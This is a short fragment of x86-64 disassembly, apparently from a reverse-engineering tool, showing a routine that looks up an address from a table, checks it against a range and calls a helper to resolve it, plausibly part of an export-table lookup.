sub edx, eax
mov eax, edx
lea rdx, [rax*4]
mov rax, qword [rbp - 0x40]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x368ad6537
mov eax, 0
jmp 0x368ad656f
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x30]
cmp rdx, rax
jb 0x368ad656b
mov edx, dword [rbp - 0x34]
mov rax, qword [rbp - 0x30]
add rax, rdx
mov rdx, qword [rbp - 8]
cmp rdx, rax
jae 0x368ad656b
mov rdx, qword [rbp - 8]
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.368ad621d
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
sub rsp, 0xffffffffffffff80
pop rbp
ret